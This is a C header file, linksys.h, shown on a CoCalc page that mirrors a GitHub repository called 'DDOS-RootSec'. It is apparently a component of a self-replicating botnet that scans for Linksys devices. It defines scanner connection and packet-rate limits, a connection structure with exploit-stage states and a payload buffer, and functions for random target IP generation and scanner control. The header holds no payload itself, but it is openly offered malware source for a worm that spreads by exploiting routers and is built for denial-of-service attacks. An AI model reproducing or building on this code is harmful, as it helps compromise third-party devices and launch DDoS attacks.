Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/LinkSys/linksys.h
5038 views
1
#ifdef SELFREP
2
#pragma once
3
4
#include <stdint.h>
5
#include "includes.h"
6
7
#ifdef X86_64
8
#define linksys_SCANNER_MAX_CONNS 512
9
#define linksys_SCANNER_RAW_PPS 1440
10
#else
11
#define linksys_SCANNER_MAX_CONNS 256
12
#define linksys_SCANNER_RAW_PPS 1024
13
#endif
14
15
#ifdef X86_64
16
#define linksys_SCANNER_RDBUF_SIZE 1024
17
#define linksys_SCANNER_HACK_DRAIN 64
18
#else
19
#define linksys_SCANNER_RDBUF_SIZE 1024
20
#define linksys_SCANNER_HACK_DRAIN 64
21
#endif
22
23
24
struct linksys_scanner_connection
25
{
26
int fd, last_recv;
27
enum
28
{
29
linksys_SC_CLOSED,
30
linksys_SC_CONNECTING,
31
linksys_SC_EXPLOIT_STAGE2,
32
linksys_SC_EXPLOIT_STAGE3,
33
} state;
34
ipv4_t dst_addr;
35
uint16_t dst_port;
36
int rdbuf_pos;
37
char rdbuf[linksys_SCANNER_RDBUF_SIZE];
38
char payload_buf[2024];
39
};
40
41
void linksys_scanner_init();
42
void linksys_scanner_kill(void);
43
44
static void linksys_setup_connection(struct linksys_scanner_connection *);
45
static ipv4_t linksys_get_random_ip(void);
46
47
#endif
48
49